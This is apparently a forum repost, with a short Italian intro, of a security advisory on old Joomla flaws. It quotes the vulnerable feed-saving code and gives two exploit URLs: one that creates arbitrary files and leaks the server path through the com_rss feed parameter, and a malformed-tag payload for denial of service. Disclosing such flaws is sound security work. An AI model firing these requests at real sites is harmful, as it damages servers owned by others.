[-=Quequero=-]

Segnalo, che magari passa inosservato:

[Product Description]
Joomla! is a Content Management System (CMS) created by the same
award-winning
team that brought the Mambo CMS to its current state of stardom.

[Summary]
An attacker can invoke some undesirable situations for server administrator.

[Details]

1. Real server path disclose and arbitrary filename creation.
Vulnerable script: includes/feedcreator.class.php
[code]
       function saveFeed($filename="", $displayContents=true) {
               if ($filename=="") {
                       $filename = $this->_generateFilename();
               }
               $feedFile = fopen($filename, "w+");
               if ($feedFile) {
                       fputs($feedFile,$this->createFeed());
                       fclose($feedFile);
                       if ($displayContents) {
                               $this->_redirect($filename);
                       }
[/code]

Exploit:
Vulnerable script: index.php?option=com_rss&feed=filename_here&no_html=1
An attacker can write simple code to soil the server by lots of cashed
files.
To disclose real path - just put slash symbol in the filename.

2. Denial of service.
Vulnerable script: includes/phpInputFilter/class.inputfilter.php
Anti-xss code will not cope with several tags. This can cause denial of
servise.
Exploit:
index.php?option=com_poll&task=results&id=14&mosmsg=DOS@HERE<<>AAA<><>
